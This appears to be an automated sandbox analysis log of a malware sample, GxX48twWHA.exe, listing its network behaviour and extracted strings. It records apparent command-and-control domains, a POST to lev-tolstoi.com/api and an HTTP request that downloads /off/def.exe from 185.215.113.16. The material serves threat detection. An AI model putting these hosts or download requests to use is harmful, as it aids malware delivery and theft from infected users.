Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: observerfry.lat
Source: global traffic	DNS traffic detected: DNS query: wordyfindy.lat
Source: global traffic	DNS traffic detected: DNS query: slipperyloo.lat
Source: global traffic	DNS traffic detected: DNS query: manyrestro.lat
Source: global traffic	DNS traffic detected: DNS query: shapestickyr.lat
Source: global traffic	DNS traffic detected: DNS query: talkynicer.lat
Source: global traffic	DNS traffic detected: DNS query: curverpluch.lat
Source: global traffic	DNS traffic detected: DNS query: tentabatte.lat
Source: global traffic	DNS traffic detected: DNS query: bashfulacid.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095190360.0000000001388000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095190360.0000000001388000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/M
Source: GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exebuG
Source: GxX48twWHA.exe, 00000000.00000002.2171236130.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095190360.0000000001388000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/s
Source: GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe3
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: GxX48twWHA.exe, 00000000.00000003.2094788467.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.:
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_78.6.dr	String found in binary or memory: http://schema.org/Organization
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_78.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_78.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_78.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_78.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bashfulacid.lat:443/apiX
Source: GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: GxX48twWHA.exe, 00000000.00000003.1829351198.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GxX48twWHA.exe, 00000000.00000003.1829351198.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GxX48twWHA.exe, 00000000.00000003.1829351198.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_78.6.dr	String found in binary or memory: https://github.com/nschonni
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_78.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
